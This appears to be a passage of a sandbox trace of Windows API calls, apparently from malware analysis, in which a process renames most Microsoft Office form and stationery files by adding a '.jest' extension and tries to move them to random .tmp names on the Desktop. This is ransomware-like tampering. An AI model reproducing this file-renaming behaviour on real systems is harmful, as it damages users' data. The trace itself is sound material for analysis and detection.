[0162.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.jest")) returned 1 [0162.835] GetLastError () returned 0x0 [0162.835] VarBstrFromR4 (in: fltIn=0x4794563f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.49") returned 0x0 [0162.836] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pb3ys1dTyuSOj3pJltE4c7IwcJMIumy0owlwKqIBSfiyqzsiKhcSqhAujV8e3Wpw5NGifjxicFE1suDEiY1ezC17k9RUV_qYABXA_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pb3ys1dtyusoj3pjlte4c7iwcjmiumy0owlwkqibsfiyqzsikhcsqhaujv8e3wpw5ngifjxicfe1sudeiy1ezc17k9ruv_qyabxa_.tmp")) returned 0 [0162.836] GetLastError () returned 0x2 [0162.837] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.837] GetLastError () returned 0x0 [0162.837] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm.jest")) returned 1 [0162.840] GetLastError () returned 0x0 [0162.841] VarBstrFromR4 (in: fltIn=0x4794563f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.49") returned 0x0 [0162.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1OXEEcgm LqSCI3W6ceReN9KGk0sI7GZo3oai8qUGk pmYLvDUdLvLQv1Y7iA5oEI3T3p2dXX2ggZN4VWObLyMYl-B0SksYHNIG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1oxeecgm lqsci3w6ceren9kgk0si7gzo3oai8qugk pmylvdudlvlqv1y7ia5oei3t3p2dxx2ggzn4vwoblymyl-b0sksyhnig.tmp")) returned 0 [0162.842] GetLastError () returned 0x2 [0162.842] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.842] GetLastError () returned 0x0 [0162.842] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm.jest")) returned 1 [0162.844] GetLastError () returned 0x0 [0162.844] VarBstrFromR4 (in: fltIn=0x47945641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.51") returned 0x0 [0162.845] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PVQPHHc6K0sRy EujgVdVqZ5YK99W2 MV9LnMtekoWp-vnSG_KKMzkevU2hnL3ScVvH3s7lr5v7zkbP9goHrxUDBx9Kyt1GCsCwvY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvqphhc6k0sry eujgvdvqz5yk99w2 mv9lnmtekowp-vnsg_kkmzkevu2hnl3scvvh3s7lr5v7zkbp9gohrxudbx9kyt1gcscwvy.tmp")) returned 0 [0162.845] GetLastError () returned 0x2 [0162.846] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.846] GetLastError () returned 0x0 [0162.846] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.jest")) returned 1 [0162.847] GetLastError () returned 0x0 [0162.848] VarBstrFromR4 (in: fltIn=0x47945641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.51") returned 0x0 [0162.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q4bM27YN0yl37NXImCEN_ Nj9MpPZSU0_rVTluIXTGksK80QKly7gaVKInSEQvjMx2d7Y3mvmdIlVBF10nobWedJCkDJZvXVwHvtV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q4bm27yn0yl37nximcen_ nj9mppzsu0_rvtluixtgksk80qkly7gavkinseqvjmx2d7y3mvmdilvbf10nobwedjckdjzvxvwhvtv.tmp")) returned 0 [0162.849] GetLastError () returned 0x2 [0162.849] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.849] GetLastError () returned 0x0 [0162.849] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.849] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.jest")) returned 1 [0162.850] GetLastError () returned 0x0 [0162.851] VarBstrFromR4 (in: fltIn=0x47945641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.51") returned 0x0 [0162.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v_ zU F0sLFbMqLbfT67ih ouXScK6H_JcqJUfdXiBg4U9BgXi_OTo8hr2 UCsIZJYeNAFgKcBZsxr-91dcShliIb5qzYWXHcpn4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v_ zu f0slfbmqlbft67ih ouxsck6h_jcqjufdxibg4u9bgxi_oto8hr2 ucsizjyenafgkcbzsxr-91dcshliib5qzywxhcpn4.tmp")) returned 0 [0162.852] GetLastError () returned 0x2 [0162.852] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.852] GetLastError () returned 0x0 [0162.853] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.jest")) returned 1 [0162.855] GetLastError () returned 0x0 [0162.856] VarBstrFromR4 (in: fltIn=0x47945641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.51") returned 0x0 [0162.856] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BsyMrQmOBpYUE4uCDMKRJgtcCxM5leL7GVWJnhj8HfrsRfahsupPOeC-vhp2R6Xvl1iOq3mIH30vQ7cZi2z_fxd 5LcI-2YJWx2N.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsymrqmobpyue4ucdmkrjgtccxm5lel7gvwjnhj8hfrsrfahsuppoec-vhp2r6xvl1ioq3mih30vq7czi2z_fxd 5lci-2yjwx2n.tmp")) returned 0 [0162.857] GetLastError () returned 0x2 [0162.857] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.857] GetLastError () returned 0x0 [0162.857] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.jest")) returned 1 [0162.861] GetLastError () returned 0x0 [0162.861] VarBstrFromR4 (in: fltIn=0x47945643, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.52") returned 0x0 [0162.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q9zxCuDX4_2URGj MIMK-4p9DWgQ6 l_tDkp626Z6TsUdfog33RxX75hWVnZE4tXEkn8QyHROb0nTiRP-X0Nb0J3U62MSQjhbdkl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q9zxcudx4_2urgj mimk-4p9dwgq6 l_tdkp626z6tsudfog33rxx75hwvnze4txekn8qyhrob0ntirp-x0nb0j3u62msqjhbdkl.tmp")) returned 0 [0162.862] GetLastError () returned 0x2 [0162.863] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.863] GetLastError () returned 0x0 [0162.863] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.864] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.jest")) returned 1 [0162.865] GetLastError () returned 0x0 [0162.865] VarBstrFromR4 (in: fltIn=0x47945643, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.52") returned 0x0 [0162.866] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r9lLzXU197KR5fuu_7msjqdEWEsQWTIj5Xc6LGnf0U3 QlIg4Hqh29HbmdtErRZe5oWl7erC1i KCQMXQJO7u_4Y4vrT0MZGP_TUd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r9llzxu197kr5fuu_7msjqdewesqwtij5xc6lgnf0u3 qlig4hqh29hbmdterrze5owl7erc1i kcqmxqjo7u_4y4vrt0mzgp_tud.tmp")) returned 0 [0162.866] GetLastError () returned 0x2 [0162.867] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.867] GetLastError () returned 0x0 [0162.867] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.867] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm.jest")) returned 1 [0162.869] GetLastError () returned 0x0 [0162.869] VarBstrFromR4 (in: fltIn=0x47945643, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.52") returned 0x0 [0162.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4B 8fYHed0Xl8eYLYB4ia8JiYUrGoUl-9hfXOw-gbb_Y5igFjtH3jCmFpyo hu3jhsebRlb c_124ej8gN_OywCmWnC tusdFUG9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4b 8fyhed0xl8eylyb4ia8jiyurgoul-9hfxow-gbb_y5igfjth3jcmfpyo hu3jhsebrlb c_124ej8gn_oywcmwnc tusdfug9.tmp")) returned 0 [0162.870] GetLastError () returned 0x2 [0162.871] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.871] GetLastError () returned 0x0 [0162.871] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm.jest")) returned 1 [0162.872] GetLastError () returned 0x0 [0162.873] VarBstrFromR4 (in: fltIn=0x47945645, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.54") returned 0x0 [0162.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s36r9VCl9M3Ez8keqBCTUd0HVXGrYtaehiAW6XMX fV04WsSp2Etq YmOBFjcS3o pKkXFVbQLm3JCooP6_mrjOFAWGqb9IRId8fF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s36r9vcl9m3ez8keqbctud0hvxgrytaehiaw6xmx fv04wssp2etq ymobfjcs3o pkkxfvbqlm3jcoop6_mrjofawgqb9irid8ff.tmp")) returned 0 [0162.874] GetLastError () returned 0x2 [0162.875] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.875] GetLastError () returned 0x0 [0162.875] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.jest")) returned 1 [0162.877] GetLastError () returned 0x0 [0162.878] VarBstrFromR4 (in: fltIn=0x47945645, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.54") returned 0x0 [0162.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KaDtsg2LQ13_MlKg6G4sHX9CcI3DqdHMP_6vwtBcCkw_FifCn_eeZ8gkUvmHeRXgTw 3ecsZsEG6BmvueltZxk7tAI29JGjjTKPd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kadtsg2lq13_mlkg6g4shx9cci3dqdhmp_6vwtbcckw_fifcn_eez8gkuvmherxgtw 3ecszseg6bmvueltzxk7tai29jgjjtkpd.tmp")) returned 0 [0162.879] GetLastError () returned 0x2 [0162.879] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.879] GetLastError () returned 0x0 [0162.879] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm.jest")) returned 1 [0162.881] GetLastError () returned 0x0 [0162.881] VarBstrFromR4 (in: fltIn=0x47945645, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.54") returned 0x0 [0162.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3-OCxpHYTQ8WCEc9csrQ9l4X ziMNDQfdzP-FwO36tEIccCVJxYBSn2nmpLxc1Bso3TDOdN3fwZExRLi9jz-euQQGpqUFLx2ITX9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3-ocxphytq8wcec9csrq9l4x zimndqfdzp-fwo36teicccvjxybsn2nmplxc1bso3tdodn3fwzexrli9jz-euqqgpquflx2itx9.tmp")) returned 0 [0162.882] GetLastError () returned 0x2 [0162.883] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.883] GetLastError () returned 0x0 [0162.883] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg.jest")) returned 1 [0162.884] GetLastError () returned 0x0 [0162.885] VarBstrFromR4 (in: fltIn=0x47945645, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.54") returned 0x0 [0162.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9n6v mNhML294obYtKtc_MrE4iiBnr8-AvoHOERwLfDR-LlDurWP7GV7UmHgN6sDEbrwVj0vrGV T8VqVL0f6yx5B k29fXD5D7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9n6v mnhml294obytktc_mre4iibnr8-avohoerwlfdr-lldurwp7gv7umhgn6sdebrwvj0vrgv t8vqvl0f6yx5b k29fxd5d7.tmp")) returned 0 [0162.886] GetLastError () returned 0x2 [0162.887] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.887] GetLastError () returned 0x0 [0162.887] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.887] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm.jest")) returned 1 [0162.889] GetLastError () returned 0x0 [0162.890] VarBstrFromR4 (in: fltIn=0x47945647, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.55") returned 0x0 [0162.891] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K8VCSN1PEI3-FJ8MyfBxpcgjPxAuH0_H2KUBStC4IKb5h2ywuFzZ sxH2goUBLeo4r0sba2s gjLP7VT0k2RRBR4lM vIHXfsm-95.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8vcsn1pei3-fj8myfbxpcgjpxauh0_h2kubstc4ikb5h2ywufzz sxh2goubleo4r0sba2s gjlp7vt0k2rrbr4lm vihxfsm-95.tmp")) returned 0 [0162.892] GetLastError () returned 0x2 [0162.893] NtCreateFile (in: FileHandle=0x18eb34, 